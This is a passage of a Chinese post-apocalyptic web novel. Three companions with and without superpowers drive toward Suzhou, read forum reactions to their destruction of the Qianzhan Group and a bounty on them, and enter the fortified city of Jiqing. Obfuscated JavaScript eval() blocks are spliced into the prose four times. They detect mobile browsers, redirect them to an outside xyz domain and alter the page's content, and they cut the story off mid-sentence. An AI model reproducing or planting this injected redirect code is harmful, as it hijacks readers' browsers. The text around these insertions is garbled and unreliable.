程承看着屋内的布置,不免有些好奇:“你们到底是怎么背着前瞻集团的人创造出这么庞大的城市的?” 伏苓把玻璃杯放在他面前,轻描淡写道:“一点点建成的,都已经八年了呀。” 她看着也才不过二十岁,八年的时间,她通通都参与吗? 就程承在附近转的那一圈能看出来,地下之城里没什么能人义士,只有伏苓和方休挡在前面,而方休又只是一个文弱分子,其余人都是毫无攻击能力的无能力者。 顶多他们手里的高科技或许能够发挥出一些作用,但怎么看都不是能担大任的模样。 若没有其余强者在保护他们的时候牺牲,那么这八年来,只有伏苓一个人保护身后的一行无能力者,还能匀出精力来建造地下之城? 伏苓靠在沙发上没说话,像是在想什么,又好像只是在发呆。 程承捧着玻璃杯看她,突然问道:“你杀感染者的时候跟平常的样子很不同。” 起码她现在安安静静坐在这里,长发散落在肩,睫毛轻垂,怎么看都不像是个能毁灭整个前瞻集团的无能力者。 伏苓笑了一下,耸耸肩:“很多人都这么说。” 她不太喜欢别人探查自己的内心,没有过多纠结这个话题,问道:“不是要说异能者的事吗?” 程承这才回过神来,他沉吟片刻,缓缓道:“这件事情可能要从我被前瞻集团抓走说起。” 程承是家里唯一的异能者。 为了抢到程承,前瞻集团不惜一一将他的父母和哥哥尽数杀害,强行带走了年幼的程承。 当年去他家的人就是王瞻。 程承永远都不会忘记那一天。 一直疼爱自己的父母和哥哥的血流了满地,直到临死前的最后一刻,哥哥还死死地抱着自己,拼尽全力把自己推出门外。 哥哥绝望的喊声都带着明显的血腥味。他说:“程承,快跑!” 被带回前瞻集团后,集团的人对程承用了很多道具,想让他像其他人一样忘记之前的事情。 可能是那样的记忆太过血腥和深刻,也可能是因为他的异能太特殊、太强大了。 总之那天的场景一直都浮现在他的眼前,怎么折腾都忘不掉。 为了避免再生事端,程承便始终在前瞻集团面前表现出什么都不记得的样子。 他自然是恨前瞻集团的。从集团里醒来的那一瞬间,他就下定决心要杀了他们所有人。 他知道自己的异能非常特殊,那是一只寄居在血液里的兔子,又或者说,是他血液的集合体。 血可以做到很多事情。 他将自己的血液稀释,散落在集团每一个人的饭菜中。 只要手染无辜者鲜血的人,身体里会一直留存着他的血液,从而吸引感染者。 通过这个方法,他完全可以分辨出到底谁该杀,谁不该杀。 当时祝无忧以为只是因为自己发了善心帮过他,程承才没有杀她,但其实是因为程承知道祝无忧没有做过那些事情。 否则,哪怕祝无忧真的救了他的性命,程承也不会仁慈。 伏苓陷进沙发里,若有所思地看着程承。 他的异能听上去,似乎与其他所有人的异能都不一样。 普通的异能只会涵盖天地万物中的某一方面,比如能控水就无法控火,拥有时间系的异能就不可能再拥有空间系。 但程承的异能却不一样,虽然从表面上来看,他的异能只是单纯的控血,但细想会发现,他的血能做到很多不该是这个异能能做到的事情,就比如短暂操控感染者,亦或是根据自己的想法控制血液的消失和存在。 程承见她盯着自己,止住话头:“怎么了?” 伏苓沉默了两秒,突然问道:“你要不要跟我一起去肃州?” 这一点是突发奇想。 伏苓原本并没有过这样的想法,只是福至心灵,下意识问了一句。但回过神细想来,如果程承当真能跟自己一同前往肃州,前方的路或许会好走很多。 最重要的是,有那么一瞬间,伏苓被一股强烈的直觉指引。 ——带上他,只有带上他事情才会如你所想那般解决。 程承愣了一瞬:“肃州?为什么要去那边?” “方休的意思是,”伏苓托着腮:“等我们抵达肃州,这场灾难或许就会有转机。” 她一向不太喜欢思考前因后果,每天瞻前顾后的,太麻烦了。 只要有一线转机,只要有一分能结束这种生活的希望,那她就去做。 但显然,程承不是这种人。他皱眉:“只是可能?” 方休于他,不过是一个刚见面的陌生人,他没办法将赌注全部压在方休身上。 他沉默了片刻,问道:“你有其他线索吗?” 伏苓勾唇,懒散道:“没有啊。” 程承 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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程承手臂上的血管突突跳了两下,仿佛下一秒血兔又要跳出来大喊大叫跟伏苓决一死战,但那条青色的血管只是快频率地抖了抖,最后乖乖归于沉寂。 程承回想起方才血兔说的话。 为什么一向不会左右他决定的血兔会突然说出这样的话呢? 难道,血兔和肃州有什么渊源? 他微微皱眉。 血兔本质是异能,也就是说,雨灾带来的异能可能与肃州有关? 这个猜测让他有些毛骨悚然。 如果是这样的话,方休的可信度便大大提高,肃州或许很可能真的与这场雨灾有着千丝万缕的联系。那么,这趟肃州之行就非常有必要了。 思至此,他也不再纠结,正视着伏苓:“我会跟你一起去的。” 伏苓似乎是早有预料,她勾了勾唇,起身送客道:“行,那我们明天出发。” 什么时候出发? 程承短暂地愣神一瞬。 伏苓顺势半推半请地将程承推到屋外。 程承顺着她的力道往外走,还有些没反应过来:“明天?不用定个计划什么的吗?” 伏苓扶着门,莫名其妙:“去肃州不就一条路线吗?明天我们直接去集庆。” 8. 无异能者的噩梦集团08 伏苓要离开临安的事情很快传遍了整个地下之城。 在这里住着的百姓,很多都是伏苓亲手救下的。 对于他们而言,伏苓就像是无能力者的守护神,哪怕她年纪还小,但百姓也向来对她爱戴,听到这个消息,顿时有些不舍地前来找她聊聊天。 对此,伏苓早有预料。 只是她没想到,第一个过来找他的,居然是祝无忧。 祝无忧直挺挺地站在她面前,居高临下地看着她,坚定道:“我也要去。” 伏苓托着腮,对她突然的坚决请求感到无奈:“路上很危险。” 祝无忧根本不听:“不是说好了,我们仨现在是一伙的吗?为什么带他不带我?” 她不管那些有的没的,只觉得自己被抛下了。 怕她误会伤心,伏苓耐心解释:“程承的异能杀伤力强,有自保的能力,所以我才会带着他。你跟着我去的话,我没办法时时刻刻保护着你,你会受伤。” 祝无忧不解:“但是有你们俩就可以了呀,我不会加入战斗的,我会很乖地在后面给你们当辅助!” 伏苓正了神色:“祝无忧,你似乎还没有意识到,我只是一个无能力者。” 她虽自信,但也没把握一直保护祝无忧。 “那又怎么样?”祝无忧眼睛微瞪:“你比很多异能者都厉害啊,能力这种事情又不是跟异能挂钩的,只要你比他们强,你就是可以胜过他们。” 两人正说着,程承推门进来了。 伏苓可以说走就走,他不能,所以他紧急准备了一些路上可以用到的东西,却没想一回来听到了两人的对话。 他插了句嘴:“我觉得可以带上她。” 祝无忧顿时一脸惊喜,指着程承看向伏苓:“你看你看,程承都同意了。” 伏苓瞥了一眼程承:“你凑什么热闹?” 程承将背包放下,坐在伏苓身前,跟她分析道:“她的异能非常强劲,在路上也许会有出乎意料的作用。” 伏苓沉默了两秒。 说实话,她的确很喜欢祝无忧的异能。只是这异能攻击性太低,一旦落单,后果不堪设想。伏苓是个怕麻烦的人,也不希望有人因为她不顾后果的决定受伤。 “让她一直跟在我们身边不就好了。”程承说,“去肃州本就是一场冒险,我们同样没办法保证自己的安危,不也还是踏上路途了吗?既然如此,她也可以。” 伏苓没说话,但眉宇间似乎多了几分松动。 见状,祝无忧立马拍着胸脯保证:“我发誓绝对不离开你们半步。” 两人一唱一和,伏苓倒也不好拒绝了。她叹了口气,换了只手继续托着脸颊,无奈:“行吧。” …… 临出发前,方休将自己鼻尖架着的眼镜塞给了伏苓。后者挑了挑眉,似乎是不太理解他的意思。 方休没有多说,只是道:“GE视野,很好用的。” GE视野是方休为这副眼镜起的名字,伏苓对这样神神叨叨的起名方式始终理解不了,但这不妨碍她知道方休对GE的宝贝程度。 她眼睛微微睁大,透着不可置信:“你要把你老婆给我?” 程承本还在检查有没有漏带的东西,闻言慢吞吞地看了他们俩一眼。 好奇怪的对话,好奇怪的两个人。 方休闭了闭眼,忍住了揍她的冲动。 他确实很爱护GE,但也没到老婆的程度吧?而且看伏苓脱口而出的样子,显然是私底下已经喊了这个名字很长时间了。 他礼貌微笑,眸子里莫名多了几分杀气:“你说什么?” 伏苓立刻转身,将GE架在自己鼻梁上:“没什么事我就先走了哦。” 眼尾处红光一闪,GE从左侧飞快缩向另一边,像一只小型骨传导耳机一般牢牢夹在伏苓的右耳上。没什么重量,如果不将注意力放在这上面,根本意识不到耳朵上还有这么个小东西。 虽然伏苓还没弄清楚这玩意怎么用,但仅靠这一下,她就知道为什么方休天天抱着GE不放手了。 这么高级的东西,要是她也不愿意放下。 方休看了一眼乖乖伏在伏苓耳侧的GE,眸色渐深。 伏苓勾唇:“舍不得?” 方休直接转身,一幅眼不见为净的样子:“赶紧滚。” 伏苓也没跟他婆婆妈妈的,两人都不是喜欢煽情的人,见状她直接挥手招呼祝无忧和程承:“走啦。” 方休早就为他们找出了多年不用的S74越野车。车身高大,通体漆黑,线条硬朗。 伏苓敲了敲引擎盖,飞起一阵灰尘,她有些怀疑:“这车真的还能用吗?” 方休这几年天天缩在地下不出来,这车怕是八年没动过了吧? 别开一半抛锚了。 “我试试吧。”程承自觉坐上驾驶座,检查了一番启动了发动机。发动机的嗡鸣响起,昭示着这辆车还能再挺个百来公里。 程承看了看仪表盘和基础的操作杆,道:“应该没问题。” 另外两人这才开门上车。 车内被地下的人们已经打扫过一遍了,没什么灰尘,内部还布置了一番,粉色的小熊吊在后视镜上。 伏苓坐在副驾上,看了一眼随着车摇摆的小熊,伸手弹了弹:“话说你会开车吗?” 程承看上去还挺嫩的,八年前可能没成年,就更别提驾照什么的了。 程承勾唇,笑得有些意味深长:“我不会,但试试不就会了?” 说完,他拉动换挡杆,车子直接一个原地弹射。 速度之快,让伏苓扶了一下车门:“你大爷的,我还没寄安全带。” 祝无忧在后面倒还好,撑着前排座位勉强坐稳,她看向程承的目光满是幽怨:“人不可以,至少不应该直接开这么快吧?” “我还没踩油门呢……”程承小声嘀咕,面色疑惑地看向仪表盘。 坐在驾驶位上到底是不一样的,程承很快意识到了这辆车的与众不同之处,刚好前方一条大直路,他一手扶着方向盘,另一只手四处敲了敲,然后确定:“这不是正常的车。” 伏苓也没管安全带,抱着臂挑眉看他:“怎么?这车下雨了会自己跑回家?” 祝无忧笑了两声,凑过来了些:“什么叫不是正常的车?” 程承指着仪表台:“你觉得正常的车能开到四百码还这么平稳吗?” 如果他没记错的话,人家F1赛车的车速记录也才三百多码。 这下,就连伏苓也愣了一瞬。 她凑近了些,看清目前时速后又靠了回去:“是啊,怎么会这样呢?” 程承:“……” 两边景色飞快倒退,祝无忧“额”了一声,吞吞吐吐说:“其实我刚才就想说了,这车稳得离谱啊,也是方医生的惊天发明吗?” 车确实很稳,稳到让伏苓觉得车甚至没动。但比起这个问题,眼下还有一件要紧的事,她看向程承:“这么快,你真的能开吗?” 前方的景色都变得有些模糊了,这么快的车速下,正常人根本没办法掌握方向盘吧? 程承确实不行。 他直接松开了方向盘,摊手,转头,微笑:“实际上,我根本没有掌握方向。” 车内安静了一瞬,程承又道:“从刚才发车到现在,都是这辆车在自动驾驶。” 最开始的时候他还是在控制方向盘的,但很快控制权就不在他手上了。 伏苓顿了顿,毫无预兆地锤了已经停止摇摆的小熊一拳:“早知道就坐后面了。” 不用开车,也不用导航,前排两个位置完全可以不坐人。后面空间大,躺得也舒服些。 但是现在的重点是这个吗? 程承一脸疑惑,他努力将她的注意力转移回来:“所以这辆车真的是那位方医生搞的?” “肯定是。”伏苓点点头:“除了他没人能捣鼓出这种东西。” 竟然将这辆跨时代的车说成“这种东西”? 程承有些想替车辩解。 祝无忧从最后一排的箱子里拿了一包零食,顺手塞了伏苓一包:“所以这车是什么原理?” 她知道自己肯定听不懂,但这不妨碍她好奇。 程承皱眉思索一阵:“可能是磁悬浮?” 能将车速拉成这样的速度,以如今的科技实力,恐怕只有磁悬浮能解释了。 但这车又是怎么在普通的公路上形成磁悬浮的,程承实在想象不到。 伏苓嚼嚼嘴里的糖,继续骚扰悬挂着的小熊:“别忘了,现在很多事情都不能用科学解释。” 程承抿了抿唇:“但方休是无能力者啊。” 这才是他没有往异能上去想的原因。就算是异能,又有什么异能能创造出这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14926288|160523||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样的产物? 伏苓看他皱眉思索的样子,没忍住塞了几块糖到他嘴里。 看到程承呆滞的模样时,她才拍拍手:“管他呢,能用不就行了。” 甜味在口腔里泛滥,程承僵硬地嚼了两下嘴里腻人的糖,还是忍不住思考这辆车的原理。 但他到底是不知道方休的真实实力,也不知道在他手里到底能造出怎么样的科技。 他又扫了一眼伏苓的耳朵。 GE不在这边。 他问道:“那个眼镜有什么功能吗?” 伏苓还没开始研究,闻言立马敲了敲耳上的装置。泛着银光的无框眼镜顿时架在她的鼻梁。 在程承看来,这副眼镜似乎与平常眼镜没什么两样。 但在伏苓的视角看去,目之所及,都能在下一秒弹出极为详细的信息。她愣了一下,扫向手中还没开封的零食。 下一瞬,红色的激光沿着拆封线飞快扫过。 伏苓眨眨眼睛,从切得整整齐齐的开口出拿了一片薯片,冷静道:“好像有点用。” 起码不用自己撕开包装。 啪嗒一声。 祝无忧手里的零食掉在地上,她愣愣道:“如果我没漏掉什么的话,你好像既没有说话,也没有做出手势,它怎么会知道你想打开薯片?” 伏苓又嚼了两下:“不知道啊,好厉害啊。” 这两句说得好敷衍啊。 祝无忧忿忿。 这GE看上去确实是个好东西。 程承收回目光:“能利用好说不定是个杀器。” 说到这个,祝无忧好奇地扫了一眼伏苓周围:“对了,伏苓姐,你的那把……额,甩来甩去的鞭子呢?” 她不知道那是什么,印象还停留在它灵活又敏捷的身姿上,所以才猜测是鞭子。 伏苓右手轻轻一甩,那把血红的剑瞬间出现在她的手上。她点了点腕上的轻便装置:“在这里面,软剑可以塞进去。” 她想了想,又补充道:“方休搞了点小设计,收进去的时候也很方便。” 说着,她还想着空说不太好理解,顺手给他们俩演示了一下。纤细的刀柄抵在装置上后,里面就像有什么吸力一般将整个软剑都收了回去。 祝无忧看得一愣一愣的:“好神奇。” 有这磁悬浮越野车和GE的铺垫,程承倒是没有太大反应,索性也不需要自己驾驶,他干脆整个人都转了过来:“但你怎么会使用软剑?” 若是防身,大多数人都会选择跆拳道之类效果立竿见影的,像软剑这种古老的武器也太不常见了。 伏苓胳膊肘抵在窗户上,漫不经心:“小时候我爸妈让我练的,这把剑也是他们留给我的。” 这把软剑其实非常特殊,伏苓拿着它打过成千上万的异能者,发现它几乎能斩断所有异能攻击。也就是伏苓根本不会想那么多乱七八糟的,要换作程承,早就将这把剑的七大姑八大姨给查清楚了。 不过就算程承没有太了解这把软剑,他也意识到不对劲:“这把剑有什么特殊的吗?” 他习惯性地想探究完全那些来路不明的东西。 伏苓神色恹恹:“不知道啊,能打就行。” “哦,对了。”想着他们俩也算是自己的同伴了,自然要坦诚相待,所以伏苓从后腰又摸出能量枪:“还有这个能量枪,方休给我的,无限发。” 闻言,程承的神色有些裂开:“这又是什么?” 他见过伏苓拿枪杀人的场景,知道这枪的威力惊人,没想到居然是无限发的? 更何况,就算是一把普通的枪,无限发的效果也是极为骇人的,而伏苓却只是这么不咸不淡地解释了一句。 程承真的很想摇醒她!清醒一点啊这是能量枪!无限发的能量枪啊啊啊!! 伏苓没理会已经陷入呆滞的程承,把枪在他们两人面前展示了一圈,又塞回后腰。 车内沉默了两秒,程承终于回过神来,忍不住提醒:“这些武器不要给别人知道了。” 末世人心难测,若是被人知道这等杀伤力的武器,指不定会有多少人来抢。 “放心。”伏苓点点头:“我又不是傻子。” 几人聊着聊着,后座咔嚓咔嚓吃东西的声音突然一顿。 祝无忧举着战备机,犹犹豫豫地开口:“伏苓,有人在论坛上发了你的追杀令。” 9. 守护者的黑色堡垒01 所谓论坛,是战备机上的一个功能论坛。 早在灾难初发的时候,网络信号全面崩塌,军方为了联系到大部分群众,在各个城市的街道旁设置了类似于自动售卖机的装置,里面都是连接着卫星信号的战备机,只有电话、信息和论坛的功能,民众可以来到售卖机前扫脸认证实名信息免费获取战备机。 而军方也会时不时在论坛上发布官方最新进展和动态,不过官方消息不多,论坛里大部分人都在各自讨论着事情。 一般情况下,大家讨论的事情重合度较高,比如哪里哪里求助,买卖资源之类的。 但今天,寻常的灌水帖中冒出来一个格外令人瞩目的帖子—— 【有人发现临安的前瞻集团好像被炸了吗?】 1L:昨天看到那边爆炸了但没细想,今天突然发现前瞻集团大楼没了!没了?!是出什么事了吗!!! 2L回复1L:fpb 3L:啊?真的假的? 4L:肯定假的,前瞻集团要是能被人炸了我把鸟巢吃了。 5L:讲真,虽然我离临安离得远,但也是知道前瞻集团的牛逼的。临安和周边城市的异能者都被他们收入麾下了,哪还有人能组织出可以摧毁集团的力量?起码得要二三十个强者吧? 6L回复5L:二三十个哪够啊?集团里面百八十个强者呢。 7L:收米面粮食,道具换。 8L回复7L:我要,私。 9L:但是……王瞻的账号灰了。 论坛里都是实名认证,但只会标注男女,真实信息按照个人意愿隐藏。大部分人都会选择隐藏信息,毕竟论坛上鱼龙混杂,万一真有什么人顺着信息摸过来,后果不堪设想。 不过也会有人选择展示个人信息,这样的人一般强大且自信,根本不怕别人找过来。 王瞻就是其中之一,他仗着自己身居高位,周围异能者无数,多次在论坛上发表各种高高在上的言论。 和平年代,这样的人会被大部分人讨厌,但在如今人人自危的末世里,他这样强大自信的异能者反而会吸引众多追随者。所以论坛上有不少人关注着他的一举一动。 状态灰了意味着战备机被损坏无法联网,基本上等同于死亡。 这话一出,下面的回复立马如井喷似暴涨。 10L:我靠,你别骗我! 29L:真的假的真的假的真的假的??来个人辟谣啊!! 56L:我没关注他,有没有关注王瞻的人看看他是不是真灰了啊? 57L回复56L:我去看了,真灰了。 58L:草草草!他真死了?!普天同庆啊! 78L回复58L:谁说灰了就等于死了?你嘴巴放干净点,等前瞻集团的人来了,小心瞻哥给你好看! 102L回复78L:小~心~瞻~哥~给~你~好~看~哈哈哈哈!! 113L:楼上嘲讽力MAX。 131L:笑死,人都死了,死忠粉还在呢?脑残能不能不在要论坛发言? 156L:他死了不是活该?人在做天在看!这人做了多少丧心病狂的事情,杀害了多少无辜的无能力者?死不是必然的吗? 180L:你们等着,瞻哥不会放过你们的!真当前瞻集团是什么随随便便就能被毁灭的组织呢?就算你们都死了集团都不可能崩坏! 257L:我去看了,前瞻集团确实被炸了,毛都不剩。 这一句再次引爆论坛,回复一句一句跳出来,几乎连成一片。 387L回复257L:这么快??这执行力牛逼! 398L回复257L:哥现在什么情况啊?有找到谁干的吗? 453L回复398L:不好意思,我是女的。具体情况不清楚,我从松江赶过去的。整个集团都被炸成废墟了,地上很多血,看样子应该是爆炸之前杀的人。 569L回复453L:对不起姐!还得是姐牛逼! 586L回复569L:有什么牛逼的?不就去看了一眼吗?你怎么不说炸前瞻集团的也是女的? 602L回复586L:你是不是有病?这也要搞性别对立?看到女的比你厉害就破防了?好敏感哦~ 689L:我去,到底是谁啊?我原本以为是直接炸的,里面的异能者可能都没死几个,现在看上去好像是先杀后炸啊! 986L:真的牛逼,天降正义! 996L:不管是谁,我先膜拜了!大神腿给我抱一抱。 1033L:我是临安的,昨天似乎是感染者攻进去了,杀了很多人。后来炸集团的时候我眼泪都掉下来了,当年前瞻集团抢走了我姐姐,杀了我父母,姐姐拼死才把我护出来。我没有一刻停止过恨前瞻集团,但碍于自己只是无能力者没办法撼动他们,感谢勇士! 1056L:妈呀……所以是全军覆没了吗? 1269L回复1056L:多半是了!! 激烈的讨论中,有一条回复猛地窜出来: 1568L:我靠你们看隔壁帖子! 众人急急忙忙退出帖子,刷新两下弹出了最新帖: 【追杀令:追杀成功可领强力道具三个,提供线索者可领两袋粮食】 1L:[图片][图片][图片] 发的三张图片都是监控截图。 第一张是前几天伏苓在前瞻集团门口杀人的画面,剩下两张都是昨天集团一楼内部的截图,一张程承,一张伏苓。照片有点糊,程承那张只有一个背影,但伏苓那张却可以勉强辨认出容貌。 2L回复1L:两个人,重点杀这个女的。 帖子下面没人回复,但刚才的帖子的回复量又开始猛地往上窜。 1795L:如果我没看错的话,那三张图的背景都是前瞻集团,右下角有时间,第一张是几天前, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14926289|160523||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后面两张是昨天。我有一个大胆的猜测,但我不敢说。 1855L回复1795L:别害怕,大胆说出来!炸前瞻集团的就是这两个人吧! 1896L回复1795L:那个女的是先一个一个杀了最强的那些,然后在昨天将剩下的一网打尽,对不对!! 1912L:就……两个人啊? 1965L:这两人肯定很强,不然不可能单枪匹马杀穿前瞻集团。 1988L:斗胆分析一下。根据情报来看,前瞻集团昨天正在举办聚会,也就是说,基本上比较核心的异能者都会参加,参加人数可能在一百人左右。结合帖子里附近的朋友透露的几点信息可以看出来,他们并非单凭自己杀进集团内部,而是利用了感染者。但即便如此,一百多个异能者也不可能被感染者全军覆没,所以里面肯定还会有这两人的手笔。 1989L回复1988L:他们的异能可能是控制(比如控制感染者),可能是削弱(比如削弱异能者),也可能是强攻击性的,但毋庸置疑,实力非常强悍。而且我还注意到一个细节,在追杀令的第一张图里,这个女生杀的是前瞻集团的创始人之一,我虽然没有跟他打过交道,但也大概知道此人实力非常强悍,这个女生在图片上看来非常散漫,甚至衣服都没有乱,也就是说,她大概率是一击击杀。按照正常异能者的战力,要毫发无伤且百分比保证杀了他,起码需要五至七人。 1990L回复1989L:所以,这个女生的实力绝对、绝对在大部分人之上。建议各位不要试图盲目追随追杀令,两人的实力应该都在异能强度的前5%,擅自前往,必死无疑。 说完这句,这条回复的回帖人就不再言语,帖子沉默了几秒,小心翼翼地冒出来几句回复。 1991L:去看了一下楼上主页,是楚河大佬诶,这事居然把他炸出来了。 1992L回复1991L:楚河是谁? 1993L回复1992L:梁州的大佬,经常在周边救人,性格有点冷但是特别好的一个人。 1994L回复1992L:雨灾前第八届太极拳全国大赛第一名,异能是啥我不知道,但是他很强!还经常救人! 1995L回复1994L:我被他救过,异能就不说了吧,反正确实很厉害。 1999L回复586L:终于翻到你了!!傻逼出来丢人,炸楼的还真是个女的!! 2000L:楼上也太记仇了吧哈哈哈哈。 2001L:所以有人知道追杀的两个人是谁吗? 伏苓笑了一声,懒洋洋地退出这个帖子,点进追杀令里。 【追杀令:追杀成功可领强力道具三个,提供线索者可领两袋粮食】 1L:[图片][图片][图片] 2L回复1L:两个人,重点杀这个女的。 3L:哎呀,漏掉一个,别跑哦,马上就到你了^^。 10. 守护者的黑色堡垒02 霎时间,论坛的所有回复都冻结在一个数字上,没有人回复任何内容,但追杀令的浏览数字却在以一个惊人的速度疯狂增长。 程承眼珠子都快瞪出来了,他转头,指着战备机,小声怒吼:“你就这么回复他了?!” 伏苓靠在车窗上,将战备机收回去:“是啊,好爽啊,最喜欢装逼了。” 程承:“……” 祝无忧摇着战备机愤愤不平:“凭什么没有追杀我!是我不配吗?!” 程承:“……” 他回头,疑惑、不解、难以置信等无数个情绪汇聚在一起:“这是什么好事吗?” 祝无忧笑呵呵的:“我也想装逼。” 程承长长地叹了口气,默默将脑袋转回来:“之后应该会有很多人关注我们,要更小心了。” “让他们来。”伏苓说:“我最喜欢虐菜了。” 程承:“……” 他原先还想过伪装什么的,现在看来是不用了。以伏苓如今这个看到谁都想砍两刀的状态,恐怕伪装不了两分钟就能触发大规模混战。 “哦,对了。”伏苓偏过头,“漏了谁?” 前瞻集团的创始人有五个,伏苓在前几日里依次杀了两个,王瞻被程承杀了,还剩下两个人。 “你没到集团的时候,我还杀了一个。”程承说:“就剩最后一个人,叫张才,不知道是什么异能。” 伏苓点了点GE,跟方休传了两句讯息,回答道:“他已经不在临安城了,似乎是往荥城方向跑了。” 伏苓有些兴奋:“追杀他!” 程承扶额。 该说不说,这张才真是个人才,追杀不成反被追杀。也不知道等他们到了荥城,这人会是什么反应。 - 临安离集庆算不上远,几人交谈中,差不多就到了。 前方一座黑色堡垒独自屹立在荒原之上。 高墙坚固而漆黑,堡垒的尖塔屹立风中,狂风刮过,发出令人心悸的哀嚎声。周围植被枯萎凋零,天空笼罩着灰蒙蒙的乌云,厚重得连阳光无法透过。 祝无忧看向前面戒备森严的堡垒,吞了吞口水:“之前集庆是这样的吗?” 这包围得严严实实的,也太奇怪了。 伏苓倒是没那么惊讶,面不改色:“之前临安也不是现在这样啊。” 八年的乱世,改变一座城市太正常了。 但临安发生变故倒是可以理解,作为东部战区中枢的集庆怎么会也出现这样的情况? 车速缓慢降低,停在了拦路的巨大城墙前。一旁卫兵走到程承那侧,敲了敲窗户:“你好。” 能单枪匹马闯过感染者来到这里的人,能力必然不可小觑,卫兵的态度很好。 程承没有拒绝交谈的理由,他扫了一眼前方缓慢包围住车辆的警卫,摇下了车窗。 “进城的话,得做专门的车,否则不允许入内。”那卫兵好声好气地说着,手却一直放在腰间的武器上,目光警惕地看着车内的几人。 可能是怕他们的车上携带了什么,程承与伏苓对视一眼。伏苓坐直身体,手放在了门把手上准备下车。 卫兵看到伏苓的动作舒了口气,将手从武器上放下。 “等等。”程承突然出声。 周围的警卫顿时警觉,手立马按上武器,目光凌厉。 气氛瞬间有些剑拔弩张。 程承扫了他们一眼,客气地问道:“我能问问如今这城内是什么情况吗?” 闻言,紧绷着的卫兵稍稍放松:“您大可放心,城内自然是绝对安全的,但就是因为城内的安全着想,所以才要让你们下车统一进入。” 绝对安全吗? 程承看着这些全副武装的警卫,勾了勾唇,不置可否。 他点头致谢,卫兵这才退后了两步,让他们下车。三人一人背着一个包,被挨个盘查。 那卫兵从伏苓包里翻出几支管状物品。 似乎是太久没见到这玩意了,他沉默了两秒,艰难发问:“这是什么?” 伏苓掀了掀眼皮,莫名其妙:“口红啊,你没见过?” 卫兵沉默,他八年前见过。 他很敬业,维持着表情又翻出了一堆乱七八糟的东西:“那这些呢?总不能都是口红吧?” “遮瑕,粉底……那个是染发膏。”她指尖勾了几根挑染的发丝:“看到了吗?他们一天一个色。” 卫兵彻底沉默了。他有些麻木地将东西放回原处,甚至都不想搜身了。 他已经默认这个无能力少女多半是没什么武力值,充当被保护者,或者说花瓶的存在。 他挥了挥手:“进去吧。” 本来程承还在担心伏苓后腰上的枪,这次也松了口气。但同时,他又忍不住扫了一眼伏苓的包。 包里就没一个有用的东西吗? 祝无忧接受良好,甚至有点羡慕,她凑过去:“伏苓,我可以用吗?” 伏苓大方道:“随便用。” 没理会两人的交谈,那卫兵又开始马不停蹄地开始检查程承的包。他那里面的东西很简单,一套换洗衣物,还有一些七零八碎的日用品。 卫兵四处摸了摸,确定没什么危险的东西后对程承道:“双臂展开。” 伏苓挑了挑眉。 她怎么没有这一项? 卫兵将程承上下摸了一遍,也没察觉出什么危险,便挥手让他也进去了。 他能察觉到这人是异能者,但每个人的异能都非常私密,若是每有一个人进去都要强行逼人向他们展现自己的异能,那恐怕多少个卫兵都不够用。 只要没带什么危险品,他们也就放行了。 反正…… 他甩了甩脑袋,抛去了那些思绪。 祝无忧上前将包递给他。她的包里也没什么,全是些零食。 卫兵翻了翻也就没再继续,祝无忧立马意会,张开双臂。 乱世之中,没人在乎什么男女礼节,所以祝无忧没觉得有什么不对,而且星牌是随着召唤才会出现,正常情况下这人也摸不出什么来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14926290|160523||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三人很快检查完毕,被一个警卫带到了一辆大巴车边:“在车上等一会吧。” 面前车身斑驳的油漆剥落,露出了锈迹斑斑的金属表面。车轮旁边的橡胶已经老化龟裂,显露出内部的钢筋。玻璃破碎,有些被木板所取代。 伏苓抿唇,看向这辆像是上个世纪遗留下来的破败大巴,沉默了。 警卫似乎也意识到这辆大巴与他们开的车差距太大,有些不好意思,但还是解释道:“情况特殊。” 行吧。 三人也不嫌弃,依次上了车。 车内没好到哪去,车顶的行李架已经生锈,上面的塑料袋和行李已经风干褪色。座位倒还能算得上干净,这让程承松了口气。 里面稀稀拉拉还坐着好几个人,见他们上来警惕地看了两眼,见到三人里有两个女人,他们顿时放松了下来。 伏苓找了个远离人群的靠窗座位坐下。程承在她身后,下意识坐在了她的身边。 祝无忧晚了一步,她悲愤地瞪了程承一眼,才凄凄惨惨地坐在伏苓后面的座位上。 车上只有前面几人的窃窃私语。 程承悄悄盯着她的脸看了会,忍不住问道:“你化妆了吗?” 伏苓唇红齿白,皮肤很好,甚至能看清她脸颊上细小的绒毛,不像是化妆的样子。 但程承看她包里装着化妆品,下意识以为她化妆了,但是他又看不出来,忍了半天才问出来。 